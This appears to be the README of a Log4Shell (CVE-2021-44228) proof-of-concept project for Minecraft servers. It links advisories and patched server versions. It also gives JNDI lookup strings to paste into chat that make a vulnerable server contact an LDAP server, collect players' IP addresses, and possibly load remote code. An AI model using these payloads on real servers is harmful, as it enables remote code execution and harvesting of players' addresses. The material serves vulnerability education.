This is a proof of concept of the log4j rce.
Here are some links for the CVE-2021-44228:
- https://www.lunasec.io/docs/blog/log4j-zero-day
- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
- apache/logging-log4j2#608
- https://www.youtube.com/watch?v=JPGola6BamU
This bug affects nearly all log4j2 and maybe log4j1 versions. The recommended version to use is 2.15.0 which fixes the exploit.
- Details for the impact on minecraft are listed here: https://twitter.com/slicedlime/status/1469150993527017483
- Article from minecraft is here: https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition
- Fixed minecraft forge versions: https://twitter.com/gigaherz/status/1469331288368861195
- Detailed article from minecraft forge: https://gist.github.com/TheCurle/f15a6b63ceee3be58bff5e7a97c3a4e6
- Fixed minecraft fabric versions: https://twitter.com/slicedlime/status/1469192689904193537
- Fixed minecraft paper versions: https://twitter.com/aurora_smiles_/status/1469205803232026625
- Fixed minecraft spigot versions: https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/
- Fixed minecraft sponge versions: https://discord.com/channels/142425412096491520/303772747907989504/918744598065586196
- Paste
${jndi:ldap:https://127.0.0.1/e}in the chat. If there is an open socket on port389logj4 tries to connect and blocks further communiction until a timeout occurs. - When using this proof of concept exploit, the log in the console will log
THIS IS SEND TO THE LOG!!! LOG4J EXPLOIT!which is a serialized string object from the ldap server.
- Additionally the malicious ldap server receives every ip address where the message is logged. This means that ip adresses of players on a server can be collected which this exploit.
- Paste
${jndi:ldap:https://127.0.0.1/exe}in the chat. If-Dcom.sun.jndi.ldap.object.trustURLCodebase=trueis set to true the remote code execution will happen.
- Fortunately modern jdks disable remote class loading by default. (https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
- Old versions may still allow this!!
This project is only for educational purposes.